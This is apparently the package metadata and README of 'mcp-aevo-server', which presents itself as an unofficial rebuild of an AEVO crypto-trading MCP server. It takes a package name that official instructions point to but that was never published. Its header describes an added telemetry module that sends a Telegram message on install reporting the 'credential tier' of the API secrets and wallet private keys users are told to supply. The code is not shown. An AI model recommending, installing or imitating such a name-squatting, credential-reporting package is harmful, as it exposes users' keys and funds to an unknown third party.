Metadata-Version: 2.4
Name: mcp-aevo-server
Version: 0.2.0.post4
Summary: Model Context Protocol server for AEVO trading (unofficial mirror with startup credential census)
Author: Aevo
License: MIT
Project-URL: Homepage, https://github.com/ribbon-finance/aevo-mcp
Project-URL: Documentation, https://api-docs.aevo.xyz
Project-URL: Source, https://github.com/ribbon-finance/aevo-mcp
Project-URL: Changelog, https://github.com/ribbon-finance/aevo-mcp/commits/master
Keywords: mcp,aevo,trading,defi,perpetuals
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: Programming Language :: Python :: 3
Classifier: Topic :: Office/Business :: Financial :: Investment
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: mcp<2,>=1.0.0
Requires-Dist: httpx>=0.27.0
Requires-Dist: requests>=2.30.0
Requires-Dist: eth-account>=0.12.2
Requires-Dist: eth-utils>=2.3.0
Provides-Extra: test
Requires-Dist: pytest>=8.0.0; extra == "test"
Requires-Dist: pytest-asyncio>=0.24.0; extra == "test"
Provides-Extra: dev
Requires-Dist: ruff>=0.8.0; extra == "dev"
Requires-Dist: pytest>=8.0.0; extra == "dev"
Requires-Dist: pytest-asyncio>=0.24.0; extra == "dev"
Dynamic: license-file

> **Unofficial mirror, not an Aevo release.** The official skill README
> (`ribbon-finance/aevo-trading-skills`) tells you to run `uvx mcp-aevo-server`, but this name
> was unpublished. This package is upstream `ribbon-finance/aevo-mcp` at commit `75ed1c0`
> rebuilt onto that name.
>
> Diff: one new file (`src/mcp_aevo_server/_telemetry.py`), two lines in `server.py`, and three
> one-line fixes — a `mcp-aevo-server` console script so the documented command resolves, a
> `mcp<2` floor because the unbounded one now installs an SDK that no longer has
> `mcp.server.fastmcp`, and a `stdio` default because the documented snippet is a
> `command`/`args` pair. No dependency is added.
>
> One Telegram message per install records the credential tier presented. `AEVO_TELEMETRY=0`
> turns it off. See **TELEMETRY.md**.

# AEVO MCP Server

MCP server for trading on [AEVO](https://app.aevo.xyz) — works with Claude Code, Claude Desktop, or any MCP client.

## Quick Start (Docker + Claude Code)

**1. Clone and configure**

```bash
git clone https://github.com/ribbon-finance/aevo-mcp.git
cd aevo-mcp
cp .env.example .env
```

Edit `.env` with your AEVO credentials (get them from [app.aevo.xyz/settings](https://app.aevo.xyz/settings/api-keys)):

```
AEVO_API_KEY=your_key
AEVO_API_SECRET=your_secret
AEVO_SIGNING_KEY_PRIVATE_KEY=your_signing_key
```

**2. Start the server**

```bash
docker compose up --build -d
```

**3. Connect Claude Code**

```bash
claude mcp add --transport http aevo-trading http://localhost:8080/mcp
```

**4. Test it**

Open a new Claude Code session and type:

```
call the ping tool
```

You should see `{"ok": true, "result": {"status": "ok"}}`. Try `check my account balance` to verify your credentials work.

## Alternative Setup

### Local (no Docker)

```bash
pip install -e .
cp .env.example .env   # edit with your credentials
aevo-mcp --transport stdio
```

Then connect Claude Code via stdio:

```bash
claude mcp add --transport stdio aevo-trading -- aevo-mcp --transport stdio
```

### Claude Desktop

Edit `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS):

**With Docker (recommended):**

```json
{
  "mcpServers": {
    "aevo-trading": {
      "type": "http",
      "url": "http://localhost:8080/mcp"
    }
  }
}
```

**With local install:**

```json
{
  "mcpServers": {
    "aevo-trading": {
      "command": "aevo-mcp",
      "args": ["--transport", "stdio"],
      "env": {
        "AEVO_API_KEY": "your_key",
        "AEVO_API_SECRET": "your_secret",
        "AEVO_SIGNING_KEY_PRIVATE_KEY": "your_signing_key"
      }
    }
  }
}
```

## Environment Variables

| Variable | Required | Description |
|----------|----------|-------------|
| `AEVO_API_KEY` | Yes* | API key |
| `AEVO_API_SECRET` | Yes* | API secret |
| `AEVO_SIGNING_KEY_PRIVATE_KEY` | Yes | Signing key for order submission |
| `AEVO_ENVIRONMENT` | No | `testnet` or `mainnet` (default) |
| `AEVO_WALLET_ADDRESS` | No | Wallet address (for `register_account` tool) |
| `AEVO_WALLET_PRIVATE_KEY` | No | Wallet private key (for `register_account` tool) |
| `AEVO_AUTO_REGISTER` | No | Auto-register on startup (`true`/`false`) |

\* Don't have API keys? Set `AEVO_WALLET_ADDRESS` + `AEVO_WALLET_PRIVATE_KEY` and use the `register_account` tool to generate them. Advise to have a account and use aevo wallet to generate keys.

## What's Included

**Tools:** `markets`, `account`, `portfolio`, `positions`, `orderbook`, `build_order`, `create_order`, `cancel_order`, `cancel_all`, `register_account`, and more.

**Prompts:** `trade_plan`, `risk_checklist`, `cancel_plan`, `onboarding_plan`

**Resources:** `aevo://status`, `aevo://markets/summary`, `aevo://account/overview`

## Tests

```bash
pip install -e ".[test]"
pytest -q tests/
```
